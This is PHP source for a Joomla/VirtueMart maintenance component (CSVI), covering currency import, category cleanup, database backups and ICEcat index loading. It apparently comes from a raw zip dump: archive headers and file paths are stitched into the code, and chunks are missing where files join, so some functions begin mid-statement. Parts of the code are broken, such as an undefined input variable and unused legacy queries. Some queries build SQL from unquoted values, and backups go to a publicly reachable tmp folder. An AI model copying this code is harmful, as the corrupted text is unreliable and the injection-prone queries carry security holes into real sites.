{ if (preg_match("/currency='([[:alpha:]]+)'/",$line,$currencyCode)) { if (preg_match("/rate='([[:graph:]]+)'/",$line,$rate)) { $csvilog->setLinenumber($linenumber++); $q = "INSERT INTO #__csvi_currency (currency_code, currency_rate) VALUES (".$db->Quote($currencyCode[1]).", ".$rate[1].")"; $db->setQuery($q); if ($db->query()) { $rate_name = 'COM_CSVI_EXCHANGE_RATE_'.$currencyCode[1].'_ADDED'; $csvilog->AddStats('added', JText::_($rate_name)); } else $csvilog->AddStats('incorrect', JText::_($rate_name)); } } } } else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_CANNOT_LOAD_EXCHANGERATE_FILE')); // Store the log count $linenumber--; $jinput->set('logcount', $linenumber); } /** * Remove all categories that have no products * Parent categories are only deleted if there are no more children left * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getRemoveEmptyCategories() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $csvilog = $jinput->get('csvilog', null, null); $this->getCategoryTreeModule(); $catpaths = $jinput->get('categorypaths', array(), 'array'); arsort($this->_catlevels); foreach ($this->_catlevels as $catid => $nrlevels) { // Check if there are any products in the category $db->setQuery($this->getCatQuery($catid)); if ($db->loadResult() > 0 && array_key_exists($catid, $catpaths)) { foreach ($catpaths[$catid] as $key => $level) { unset($catpaths[$level]); unset($this->_catlevels[$level]); } unset($catpaths[$catid]); unset($this->_catlevels[$catid]); } else { if (array_key_exists($catid, $catpaths)) { foreach ($catpaths[$catid] as $key => $level) { $db->setQuery($this->getCatQuery($level)); if ($db->loadResult() > 0) { unset($catpaths[$level]); unset($this->_catlevels[$level]); } } } } } $delcats = array_keys($catpaths); if (!empty($delcats)) { // Remove all categories except the ones we have $q = "DELETE FROM #__vm_category WHERE category_id IN (".implode(', ', $delcats).")"; $db->setQuery($q); if ($db->query()) $csvilog->AddStats('deleted', JText::_('COM_CSVI_MAINTENANCE_CATEGORIES_DELETED')); else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_MAINTENANCE_CATEGORIES_NOT_DELETED')); // Remove all category parent-child relations except the ones we have $q = "DELETE FROM #__vm_category_xref WHERE category_child_id IN (".implode(', ', $delcats).")"; $db->setQuery($q); if ($db->query()) $csvilog->AddStats('deleted', JText::_('COM_CSVI_MAINTENANCE_CATEGORIES_XREF_DELETED')); else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_MAINTENANCE_CATEGORIES_XREF_NOT_DELETED')); } else $csvilog->AddStats('information', JText::_('COM_CSVI_NO_CATEGORIES_FOUND')); } /** * Construct a query to count the number of references to a category * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return string the query to count entries in a category * @since 3.0 */ private function getCatQuery($catid) { return "SELECT COUNT(*) FROM #__vm_product_category_xref WHERE category_id = ".$catid; } /** * Clean the CSVI cache * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getCleanTemp() { jimport('joomla.filesystem.file'); jimport('joomla.filesystem.folder'); $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $csvilog = $jinput->get('csvilog', null, null); $folder = CSVIPATH_TMP; if (JFolder::exists($folder)) { // Delete all import files left behind in the folder JFile::delete(JFolder::files($folder, '.', false, true)); // Delete all import folders left behind in the folder $folders = array(); $folders = JFolder::folders($folder, '.', true, true, array('debug')); if (!empty($folders)) { foreach ($folders as $path) { JFolder::delete($path); } } // Load the files if (JFolder::exists(CSVIPATH_DEBUG)) { $files = JFolder::files(CSVIPATH_DEBUG, '.', false, true); if ($files) { // Remove any debug logs that are still there but not in the database $q = "SELECT CONCAT(".$db->Quote(CSVIPATH_DEBUG.'/com_csvi.log.').", import_id, '.php') AS filename FROM #__csvi_logs WHERE import_id > 0 GROUP BY import_id"; $db->setQuery($q); $ids = $db->loadResultArray(); if (!is_array($ids)) $ids = (array)$ids; // Delete all obsolete files JFile::delete(array_diff($files, $ids)); } } $csvilog->AddStats('deleted', JText::_('COM_CSVI_TEMP_CLEANED')); } else $csvilog->AddStats('information', JText::_('COM_CSVI_TEMP_PATH_NOT_FOUND')); } /** * Export all VirtueMart tables * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getBackupVirtueMart() { jimport('joomla.filesystem.file'); jimport('joomla.filesystem.folder'); $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $csvilog = $jinput->get('csvilog', null, null); $filepath = JPATH_SITE.'/tmp/com_csvi'; $filename = 'virtuemart_'.time().'.sql'; $file = $filepath.'/'.$filename; $sqlstring = ''; $fp = fopen($file, "w+"); if ($fp) { // Load a list of VirtueMart tables $q = "SHOW TABLES LIKE '".$db->getPrefix()."virtuemart\_%'"; $db->setQuery($q); $tables = $db->loadResultArray(); $linenumber = 1; foreach ($tables as $table) { $csvilog->setLinenumber($linenumber); // Get the create table statement $q = "SHOW CREATE TABLE ".$table; $db->setQuery($q); $tcreate = $db->loadAssocList(); $sqlstring .= "-- Table structure for table ".$db->quoteName($table)."\n\n"; $sqlstring .= $tcreate[0]['Create Table'].";\n\n"; // Check if there is any data in the table $q = "SELECT COUNT(*) FROM ".$db->quoteName($table); $db->setQuery($q); $count = $db->loadResult(); if ($count > 0) { $sqlstring .= "-- Data for table ".$db->quoteName($table)."\n\n"; // Get the field names $q = "SHOW COLUMNS FROM ".$db->quoteName($table); $db->setQuery($q); $fields = $db->loadObjectList(); $sqlstring .= 'INSERT INTO '.$db->quoteName($table).' ('; foreach ($fields as $field) { $sqlstring .= $db->quoteName($field->Field).','; } $sqlstring = substr(trim($sqlstring), 0, -1).") VALUES \n"; $start = 0; while ($count > 0) { $q = "SELECT * FROM ".$table." LIMIT ".$start.", 50"; $db->setQuery($q); $records = $db->loadAssocList(); // Add the values foreach ($records as $record) { foreach ($record as $rkey => $value) { if (!is_numeric($value)) $record[$rkey] = $db->Quote($value); else $record[$rkey] = $value; } $sqlstring .= '('.implode(',', $record)."),\n"; } $start += 50; $count -= 50; // Fix the end of the query if ($count < 1) $sqlstring = substr(trim($sqlstring), 0, -1).";\n"; // Add a linebreak $sqlstring .= "\n\n"; // Write the data to the file fwrite($fp, $sqlstring); // Empty the string $sqlstring = ''; } // Update the log $csvilog->AddStats('added', JText::sprintf('COM_CSVI_BACKUP_COMPLETE_FOR', $table)); $linenumber++; } } // Store the log count $linenumber--; $jinput->set('logcount', $linenumber); // Zip up the file jimport('joomla.filesystem.archive'); $zip = JArchive::getAdapter('zip'); $files = array(); $files[] = array('name' => $filename, 'time' => filemtime($file), 'data' => JFile::read($file)); if ($zip->create($filepath.'/'.$filename.'.zip', $files)) { // Close the file fclose($fp); // Remove the SQL file JFile::delete($file); // Add a download link for the backup $csvilog->setFilename(JHTML::link(JURI::root().'tmp/com_csvi/'.$filename.'.zip', JText::_('COM_CSVI_BACKUP_DOWNLOAD_LINK'))); } else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_BACKUP_NO_ZIP_CREATE')); $csvilog->setFilename($filepath.'/'.$filename); } } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_COULD_NOT_OPEN_FILE', $file)); } } /** * This function is repsonsible for returning an array containing category information * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 2.3.6 */ private function getCategoryTreeModule() { $database = JFactory::getDBO(); // Get all categories $query = "SELECT category_child_id AS cid, category_parent_id AS pid FROM #__vm_category, #__vm_category_xref WHERE #__vm_category.category_id=#__vm_category_xref.category_child_id"; // Execute the query $database->setQuery( $query ); $records = $database->loadObjectList(); // Check if there are any records if (count($records[0]) == 0) { $this->_categories = false; return false; } else { $this->_categories = array(); // Group all categories together according to their level foreach( $records as $id => $record ) { $this->_categories[$record->pid][$record->cid]["category_id"] = $record->pid; $this->_categories[$record->pid][$record->cid]["category_child_id"] = $record->cid; } } $this->CategoryPaths(); } /** * Create an array of subcategories per category * * @author RolandD * @since 2.3.6 * @access private */ private function CategoryPaths() { $catpath = array(); krsort($this->_categories); foreach ($this->_categories as $pid => $categories) { foreach ($categories as $cid => $category) { $catpath[$cid] = $pid; } } foreach ($catpath as $cid => $value) { $catlevel = $value; $this->_catpaths[$cid][] = $catlevel; while ($catlevel > 0) { $this->_catpaths[$cid][] = $catpath[$catlevel]; $catlevel = $catpath[$catlevel]; } } foreach ($this->_catpaths as $cid => $paths) { $this->_catlevels[$cid] = count($paths); } asort($this->_catlevels); $jinput->set('categorypaths', $this->_catpaths); } /** * Load the ICEcat index file * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return bool true if index file is loaded | false if index file is not loaded * @since 3.0 */ public function getIcecatIndex() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $csvilog = $jinput->get('csvilog', null, null); $settings = $jinput->get('settings', null, null); $username = $settings->get('icecat.ice_username', false); $password = $settings->get('icecat.ice_password', false); $loadremote_index = false; $loadremote_supplier = false; $icecat_options = $jinput->get('icecat', array(), null); if (in_array('icecat_index', $icecat_options)) $load_index = true; else $load_index = false; if (in_array('icecat_supplier', $icecat_options)) $load_supplier = true; else $load_supplier = false; // Should we load the index file in 1 go $loadtype = JRequest::getBool('loadtype'); // What to do next? $result = 'full'; // Check if we have a username and password if ($username && $password) { // Joomla includes jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); jimport('joomla.filesystem.archive'); // Check if the files are stored on the server $location = JRequest::getVar('icecatlocation'); if ($load_index) { if (JFile::exists($location.'/icecat_index')) $icecat_index_file = $location.'/icecat_index'; else if (JFile::exists($location.'/icecat_index.gzip')) $icecat_index_file = $location.'/icecat_index.gzip'; else if (JFile::exists($location.'/icecat_index.zip')) $icecat_index_file = $location.'/icecat_index.zip'; else $loadremote_index = true; } if ($load_supplier) { if (JFile::exists($location.'/icecat_supplier')) $icecat_supplier_file = $location.'/icecat_supplier'; else if (JFile::exists($location.'/icecat_supplier.gzip')) $icecat_supplier_file = $location.'/icecat_supplier.gzip'; else if (JFile::exists($location.'/icecat_supplier.zip')) $icecat_supplier_file = $location.'/icecat_supplier.zip'; else $loadremote_supplier = true; } // Load the remote files if needed if ($loadremote_index || $loadremote_supplier) { // Context for retrieving files if (JRequest::getBool('icecat_gzip')) $gzip = "Accept-Encoding: gzip\r\n"; else $gzip = ''; $context = stream_context_create(array( 'http' => array( 'header' => "Authorization: Basic " . base64_encode($username.':'.$password)."\r\n". $gzip ) )); if ($load_index && $loadremote_index) { // ICEcat index file $icecat_url = $settings->get('icecat.ice_index', 'http://data.icecat.biz/export/freexml.int/INT/files.index.csv'); // Load the index file from the ICEcat server to a local file $icecat_index_file = CSVIPATH_TMP.'/icecat_index'; if (JRequest::getBool('icecat_gzip')) $icecat_index_file .= '.gzip'; $fp_url = fopen($icecat_url, 'r', false, $context); $fp_local = fopen($icecat_index_file, 'w+'); while($content = fread($fp_url,1024536)){ fwrite($fp_local, $content); } fclose($fp_url); fclose($fp_local); } if ($load_supplier && $loadremote_supplier) { // Load the manufacturer data $icecat_mf = $settings->get('icecat.ice_supplier', 'http://data.icecat.biz/export/freexml.int/INT/supplier_mapping.xml'); // Load the index file from the ICEcat server to a local file $icecat_supplier_file = CSVIPATH_TMP.'/icecat_supplier'; if (JRequest::getBool('icecat_gzip')) $icecat_supplier_file .= '.gzip'; $fp_url = fopen($icecat_mf, 'r', false, $context); $fp_local = fopen($icecat_supplier_file, 'w+'); while($content = fread($fp_url,1024536)){ fwrite($fp_local, $content); } fclose($fp_url); fclose($fp_local); } } // Check if we need to unpack the files if ($load_index) { if (substr($icecat_index_file, -3) == 'zip') { if (!$this->_unpack($icecat_index_file, CSVIPATH_TMP)) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_ICECAT_INDEX_NOT_UNPACKED')); return 'cancel'; } else $icecat_index_file = CSVIPATH_TMP.'/icecat_index'; } } if ($load_supplier) { if (substr($icecat_supplier_file, -3) == 'zip') { if (!$this->_unpack($icecat_supplier_file, CSVIPATH_TMP)) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_ICECAT_SUPPLIER_NOT_UNPACKED')); return 'cancel'; } else $icecat_supplier_file = CSVIPATH_TMP.'/icecat_supplier'; } } if ($load_index) { // Empty the index table $q = "TRUNCATE TABLE ".$db->quoteName('#__csvi_icecat_index'); $db->setQuery($q); $db->query(); // Load the local file into the database if (!$loadtype) { $q = "LOAD DATA LOCAL INFILE ".$db->Quote($icecat_index_file)." INTO TABLE ".$db->quoteName('#__csvi_icecat_index')." IGNORE 1 LINES"; $db->setQuery($q); if ($db->query()) $csvilog->AddStats('added', JText::_('COM_CSVI_ICECAT_INDEX_LOADED')); else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_ICECAT_INDEX_NOT_LOADED', $db->getErrorMsg())); } else { // Need to redirect for the batch import $result = 'single'; } } if ($load_supplier) { // Empty the supplier table $q = "TRUNCATE TABLE ".$db->quoteName('#__csvi_icecat_suppliers'); $db->setQuery($q); $db->query(); // Reset the supplier file $xmlstr = file_get_contents($icecat_supplier_file); $xml = new SimpleXMLElement($xmlstr); $supplier_data = array(); foreach ($xml->SupplierMappings->children() as $key => $mapping) { foreach ($mapping->attributes() as $attr_name => $attr_value) { switch($attr_name) { case 'supplier_id': $supplier_id = $attr_value; break; case 'name': $supplier_data[] = '('.$db->Quote($supplier_id).','.$db->Quote($attr_value).')'; } } foreach ($mapping->children() as $symbol) { $supplier_data[] = '('.$db->Quote($supplier_id).','.$db->Quote($symbol).')'; } } $q = "INSERT IGNORE INTO ".$db->quoteName('#__csvi_icecat_suppliers')." VALUES ".implode(',', $supplier_data); $db->setQuery($q); if ($db->query()) $csvilog->AddStats('added', JText::_('COM_CSVI_ICECAT_SUPPLIERS_LOADED')); else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_ICECAT_SUPPLIERS_NOT_LOADED', $db->getErrorMsg())); } } else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_ICECAT_NO_USER_PASS')); } // See if we need to store some info if ($loadtype) { // Session init $session = JFactory::getSession(); $option = JRequest::getVar('option'); $session->set($option.'.csvilog', serialize($csvilog)); $session->set($option.'.icecat_index_file', serialize($icecat_index_file)); $session->set($option.'.icecat_records', serialize(JRequest::getInt('icecat_records'))); $session->set($option.'.icecat_wait', serialize(JRequest::getInt('icecat_wait'))); } return $result; } /** * Load the ICEcat index in batches * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.3 */ public function getIcecatSingle() { $jinput = JFactory::getApplication()->input; // Session init $session = JFactory::getSession(); $option = $jinput->get('option'); $csvilog = unserialize($session->get($option.'.csvilog')); $icecat_index_file = unserialize($session->get($option.'.icecat_index_file')); $totalrow = unserialize($session->get($option.'.icecat_rows')); $records = unserialize($session->get($option.'.icecat_records', 1000)); $finished = false; $continue = true; // Sleep to please the server sleep(unserialize($session->get($option.'.icecat_wait', 5))); // Load the records line by line $db = JFactory::getDBO(); $q = "INSERT INTO `#__csvi_icecat_index` (`path`, `product_id`, `updated`, `quality`, `supplier_id`, `prod_id`, `catid`, `m_prod_id`, `ean_upc`, `on_market`, `country_market`, `model_name`, `product_view`, `high_pic`, `high_pic_size`, `high_pic_width`, `high_pic_height`, `m_supplier_id`, `m_supplier_name`) VALUES "; $lines = ''; if (($handle = fopen($icecat_index_file, "r")) !== FALSE) { // Position pointers $row = 0; // Position file pointer $pointer = unserialize($session->get($option.'.icecat_position')); fseek($handle, $pointer); // Start processing while ($continue) { if ($row < $records) { $data = fgetcsv($handle, 1024, "\t"); if ($data) { $row++; $lines .= '('; foreach ($data as $item) { $lines .= $db->Quote($item).','; } $lines = substr($lines, 0, -1); $lines .= '),'; } else { $finished = true; $continue = false; } } else $continue = false; } // Store the data $lines = substr($lines, 0, -1); $db->setQuery($q.$lines); $db->query(); // Information for reload $jinput->set('finished', $finished); $sumrows = $totalrow+$row; $jinput->set('linesprocessed', $sumrows); // Store for future use if (!$finished) { $session->set($option.'.csvilog', serialize($csvilog)); $session->set($option.'.icecat_rows', serialize($sumrows)); $session->set($option.'.icecat_position', serialize(ftell($handle))); } else { $csvilog->AddStats('added', JText::_('COM_CSVI_ICECAT_INDEX_LOADED')); // Store the log results $jinput->set('csvilog', $csvilog); $this->getFinishProcess(); // Clear the session $session->set($option.'.icecat_index_file', serialize('0')); $session->set($option.'.icecat_rows', serialize('0')); $session->set($option.'.icecat_position', serialize('0')); $session->set($option.'.icecat_records', serialize('0')); $session->set($option.'.icecat_wait', serialize('0')); $session->set($option.'.csvilog', serialize('0')); // Set the run ID $jinput->set('run_id', $csvilog->getId()); } fclose($handle); } } /** * Unpack the ICEcat index files * * @copyright * @author RolandD * @todo * @see * @access private * @param string $archivename the full path and name of the file to extract * @param string $extractdir the folder to copy the extracted file to * @return bool true on success | false on failure * @since 3.0 */ private function _unpack($archivename, $extractdir) { $adapter = JArchive::getAdapter('gzip'); if ($adapter) { $config = JFactory::getConfig(); $tmpfname = $config->getValue('config.tmp_path').'/'.uniqid('gzip'); $gzresult = $adapter->extract($archivename, $tmpfname); if (JError::isError($gzresult)) { @unlink($tmpfname); return false; } $path = JPath::clean($extractdir); JFolder::create($path); $result = JFile::copy($tmpfname,$path.'/'.JFile::stripExt(basename(strtolower($archivename)))); @unlink($tmpfname); } return true; } /** * Backup templates * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getBackupTemplates() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $csvilog = $jinput->get('csvilog', null, null); $linenumber = 1; // Create the backup file $filepath = JPATH_SITE.$jinput->get('backup_location', '/tmp/com_csvi', 'string'); $filename = 'csvi_templates_'.date('Ymd', time()).'.csv'; $file = JPath::clean($filepath.'/'.$filename, '/'); $fp = fopen($file, "w+"); if ($fp) { $db->setQuery("SELECT ".$db->quoteName('name').", ".$db->quoteName('settings')." FROM #__csvi_template_settings"); $templates = $db->loadAssocList(); foreach ($templates as $template) { $csvilog->setLinenumber($linenumber++); if (fputcsv($fp, $template)) $csvilog->AddStats('information', JText::sprintf('COM_CSVI_BACKUP_TEMPLATE', $template['name'])); else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_BACKUP_NO_TEMPLATE', $template['name'])); } fclose($fp); $csvilog->AddStats('information', JText::sprintf('COM_CSVI_BACKUP_TEMPLATE_PATH', $file)); } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_COULD_NOT_OPEN_FILE', $file)); } // Store the log count $linenumber--; $jinput->set('logcount', $linenumber); } /** * Restore templates * * @copyright * @author RolandD * @todo Remove JRequest once jinput can handle files * @see * @access public * @param * @return * @since 3.0 */ public function getRestoreTemplates() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $csvilog = $jinput->get('csvilog', null, null); $linenumber = 1; jimport('joomla.filesystem.file'); // Load the restore file $upload = JRequest::getVar('restore_file', '', 'files'); if (empty($upload) || $upload['error'] > 0) $upload = JRequest::getVar('file', '', 'files'); // Check if the file upload has an error if (empty($upload)) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_UPLOADED_FILE_PROVIDED')); return false; } else if ($upload['error'] == 0) { if (is_uploaded_file($upload['tmp_name'])) { // Get some basic info $folder = CSVIPATH_TMP.'/'.time(); $upload_parts = pathinfo($upload['name']); // Create the temp folder if (JFolder::create($folder)) { $this->folder = $folder; // Move the uploaded file to its temp location if (JFile::upload($upload['tmp_name'], $folder.'/'.$upload['name'])) { // Read the uploaded file $fp = fopen($folder.'/'.$upload['name'], "r"); if ($fp) { while (($data = fgetcsv($fp, 0, ",")) !== FALSE) { $csvilog->setLinenumber($linenumber++); $db->setQuery("INSERT IGNORE INTO #__csvi_template_settings (".$db->quoteName('name').", ".$db->quoteName('settings').") VALUES (".$db->Quote($data[0]).", ".$db->Quote($data[1]).")"); if ($db->query()) { $csvilog->AddStats('added', JText::sprintf('COM_CSVI_RESTORE_TEMPLATE', $data[0])); } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_NO_RESTORE_TEMPLATE', $data[0])); $csvilog->AddStats('incorrect', $db->getQuery()); } } fclose($fp); } } } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CANNOT_CREATE_UNPACK_FOLDER', $folder)); return false; } } // Error warning cannot save uploaded file else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_NO_UPLOADED_FILE_PROVIDED', $upload['tmp_name'])); return false; } } // Store the log count $linenumber--; $jinput->set('logcount', $linenumber); } /** * Unpublish products in unpublished categories * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.5 */ public function getUnpublishProductByCategory() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($db->quoteName('p').'.'.$db->quoteName('virtuemart_product_id')); $query->from($db->quoteName('#__virtuemart_products').' AS p'); $query->innerJoin($db->quoteName('#__virtuemart_product_categories').' AS pc ON '.$db->quoteName('p').'.'.$db->quoteName('virtuemart_product_id').' = '.$db->quoteName('pc').'.'.$db->quoteName('virtuemart_product_id')); $query->innerJoin($db->quoteName('#__virtuemart_categories').' AS c ON '.$db->quoteName('pc').'.'.$db->quoteName('virtuemart_category_id').' = '.$db->quoteName('c').'.'.$db->quoteName('virtuemart_category_id')); $query->where($db->quoteName('p').'.'.$db->quoteName('published').' = '.$db->quote('1')); $query->where($db->quoteName('c').'.'.$db->quoteName('published').' = '.$db->quote('0')); // Get the IDs to unpublish $q = "SELECT #__vm_product.product_id FROM #__vm_product INNER JOIN #__vm_product_category_xref ON #__vm_product.product_id = #__vm_product_category_xref.product_id INNER JOIN #__vm_category ON #__vm_product_category_xref.category_id = #__vm_category.category_id WHERE #__vm_product.product_publish = 'Y' AND #__vm_category.category_publish = 'N'"; $db->setQuery($query); $ids = $db->loadResultArray(); if (!empty($ids)) { // Unpublish the IDs $query = $db->getQuery(true); $query->update($db->quoteName('#__virtuemart_products')); $query->set($db->quoteName('published').' = '.$db->quote('0')); $query->where($db->quoteName('virtuemart_product_id').' IN ('.implode(',', $ids).')'); $q = "UPDATE #__vm_product SET product_publish = 'N' WHERE product_id IN (".implode(',', $ids).")"; $db->setQuery($query); if ($db->query()) { $csvilog->AddStats('updated', JText::sprintf('COM_CSVI_PRODUCTS_UNPUBLISHED', $db->getAffectedRows())); } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_PRODUCTS_NOT_UNPUBLISHED', $db->getErrorMsg())); } } else $csvilog->AddStats('information', JText::_('COM_CSVI_PRODUCTS_NOT_FOUND')); } /** * Get a list of available components * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function getComponents() { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('component AS value, component AS text'); $query->from($db->quoteName('#__csvi_template_types')); $query->leftJoin('#__extensions ON #__csvi_template_types.component = #__extensions.element'); $query->where('#__extensions.type = '.$db->Quote('component')); $query->group('component'); $db->setQuery($query); $components = $db->loadObjectList(); $options = JHtml::_('select.option', '', JText::_('COM_CSVI_MAKE_CHOICE'), 'value', 'text', true); array_unshift($components, $options); return $components; } /** * Sorts all VirtueMart categories in alphabetical order * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return bool true if categories are sorted | false if an error occured * @since 3.0 */ public function getSortCategories() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $csvilog = $jinput->get('csvilog', null, null); $language = $jinput->get('language'); $linenumber = 1; // Check if the table exists $tables = $db->getTableList(); if (!in_array($db->getPrefix().'virtuemart_categories_'.$language, $tables)) { $csvilog->AddStats('information', JText::sprintf('COM_CSVI_LANG_TABLE_NOT_EXIST', $language)); } else { // Get all categories $query = $db->getQuery(true); $query->select('LOWER('.$db->quoteName('category_name').') AS '.$db->quoteName('category_name')); $query->select($db->quoteName('category_child_id').' AS '.$db->quoteName('cid')); $query->select($db->quoteName('category_parent_id').' AS '.$db->quoteName('pid')); $query->from($db->quoteName('#__virtuemart_categories').' AS '.$db->quoteName('c')); $query->leftJoin($db->quoteName('#__virtuemart_category_categories').' AS '.$db->quoteName('cc').' ON '.$db->quoteName('c').'.'.$db->quoteName('virtuemart_category_id').' = '.$db->quoteName('cc').'.'.$db->quoteName('category_child_id')); $query->leftJoin($db->quoteName('#__virtuemart_categories_'.$language).' AS '.$db->quoteName('cl').' ON '.$db->quoteName('cc').'.'.$db->quoteName('category_child_id').' = '.$db->quoteName('cl').'.'.$db->quoteName('virtuemart_category_id')); // Execute the query $db->setQuery($query); $records = $db->loadObjectList(); if (count($records) > 0) { $categories = array(); // Group all categories together according to their level foreach ($records as $key => $record) { $categories[$record->pid][$record->cid] = $record->category_name; } // Sort the categories and store the item list foreach ($categories as $id => $category) { asort($category); $listorder = 1; foreach ($category as $category_id => $category_name) { // Store the new sort order $query = $db->getQuery(true); $query->update($db->quoteName('#__virtuemart_categories')); $query->set($db->quoteName('ordering').' = '.$db->quote($listorder)); $query->where($db->quoteName('virtuemart_category_id').' = '.$db->quote($category_id)); $db->setQuery($query); $db->query(); // Set the line number $csvilog->setLinenumber($linenumber++); $csvilog->AddStats('information', JText::sprintf('COM_CSVI_SAVED_CATEGORY', $category_name ,$listorder)); $listorder++; } } // Store the log count $linenumber--; $jinput->set('logcount', $linenumber); } else $csvilog->AddStats('information', 'COM_CSVI_NO_CATEGORIES_FOUND'); } return true; } /** * Create a list of maintenance options * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array of available options * @since 4.0 */ public function getMaintenanceOptions() { $options = array(); $options[] = JHtml::_('select.option', '', JText::_('COM_CSVI_MAKE_CHOICE'), 'value', 'text', true); return $options; } /** * Load the languages in the system * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array of available languages * @since 4.0 */ public function getLanguages() { $language = JFactory::getLanguage(); $known = $language->getKnownLanguages(); $options = array(); foreach ($known as $tag => $lang) { $options[] = JHtml::_('select.option', str_replace('-', '_', strtolower($lang['tag'])), $lang['name']); } return $options; } /** * Get operations for a selected component * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function getOperations() { $jinput = JFactory::getApplication()->input; $component = $jinput->get('component'); $options = ''; switch ($component) { case 'com_csvi': $options .= ''; $options .= ''; $options .= ''; $options .= ''; $options .= ''; $options .= ''; $options .= ''; break; case 'com_virtuemart': $options .= ''; $options .= ''; $options .= ''; $options .= ''; $options .= ''; $options .= ''; break; default: $options .= ''; break; } // Return the output return $options; } } ?>PK@y>\ZHH(components/com_csvi/models/templates.phpnuW+AsetQuery($q); $templates = $db->loadObjectList(); if (!is_array($templates)) $templates = array(); $new = array(); $new[] = JHtml::_('select.option', '', JText::_('COM_CSVI_SAVE_AS_NEW_FOR_NEW_TEMPLATE')); $templates = array_merge($new, $templates); return $templates; } /** * Save export settings * * @copyright * @author RolandD * @todo * @see * @access public * @param array $data the data to be stored * @return bool true on success | false on failure * @since 3.0 */ public function save($data) { $app = JFactory::getApplication(); $jinput = JFactory::getApplication()->input; $table = $this->getTable('csvi_template_settings'); $bind = array(); $id = $jinput->get('template_id', 0, 'int'); if ($id > 0) $table->load($id); else $bind['name'] = $jinput->get('template_name', 'Template '.time(), 'string'); $bind['settings'] = json_encode($data); $table->bind($bind); if ($table->store()) { $app->enqueueMessage(JText::sprintf('COM_CSVI_PROCESS_SETTINGS_SAVED', $table->name)); } else { $app->enqueueMessage(JText::sprintf('COM_CSVI_PROCESS_SETTINGS_NOT_SAVED', $table->getError()), 'error'); } return $table->id; } /** * Remove a settings template * * @copyright * @author RolandD * @todo * @see * @access public * @param array $data the data to be stored * @return bool true on success | false on failure * @since 3.0 */ public function remove() { $app = JFactory::getApplication(); $jinput = JFactory::getApplication()->input; $table = $this->getTable('csvi_template_settings'); $table->load($jinput->get('template_id', null, 'int')); if ($table->delete()) { $app->enqueueMessage(JText::sprintf('COM_CSVI_PROCESS_SETTINGS_DELETED', $table->name)); } else { $app->enqueueMessage(JText::sprintf('COM_CSVI_PROCESS_SETTINGS_NOT_DELETED', $table->getError()), 'error'); } } /** * Get the template details * * Retrieves the template details from the csvi_templates table. If the * template id is 0, it will automatically retrieve the template details * for the template with the lowest ID in the database * * @see self::GetFirstTemplateId(); * @param $templateid integer Template ID to retrieve */ public function _getTemplate() { $row = $this->getTable($this->_tablename); if ($this->_id == 0) { $this_id = $this->GetFirstTemplateId(); } $row->load($this->_id); // Fix the price format $row->export_price_formats = self::getNumberFormat($row->export_price_format); return $row; } /** * Load the template types based on type * * @copyright * @author RolandD * @todo * @see * @access public * @param string $type The type of template to filter on * @return array list of template types * @since 3.0 */ function getTemplateTypes($type=false, $component=false) { $db = JFactory::getDBO(); $q = "SELECT CONCAT('COM_CSVI_', UPPER(template_type_name)) AS name, template_type_name AS value FROM #__csvi_template_types "; // Check any selectors $selectors = array(); if ($type) $selectors[] = "template_type = ".$db->Quote($type); if ($component) $selectors[] = "component = ".$db->Quote($component); if (!empty($selectors)) $q .= "WHERE ".implode(' AND ', $selectors); // Order by name $q .= " ORDER BY template_type_name"; $db->setQuery($q); $types = $db->loadObjectList(); // Translate the strings foreach ($types as $key => $type) { $type->value = JText::_($type->value); $types[$key] = $type; } return $types; } } ?>PK@y>\EE"components/com_csvi/models/log.phpnuW+AsetState('filter.action', $app->getUserStateFromRequest($this->_context.'.filter.action', 'filter_actiontype', false, 'word')); // List state information. // Controls the query ORDER BY parent::populateState('l.logstamp', 'desc'); } /** * Build an SQL query to load the list data. * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return object the query to execute * @since 4.0 */ protected function getListQuery() { // Create a new query object. $jinput = JFactory::getApplication()->input; $db = $this->getDbo(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select('run_id AS id, userid, logstamp, action, action_type, template_name, records, run_id, file_name, 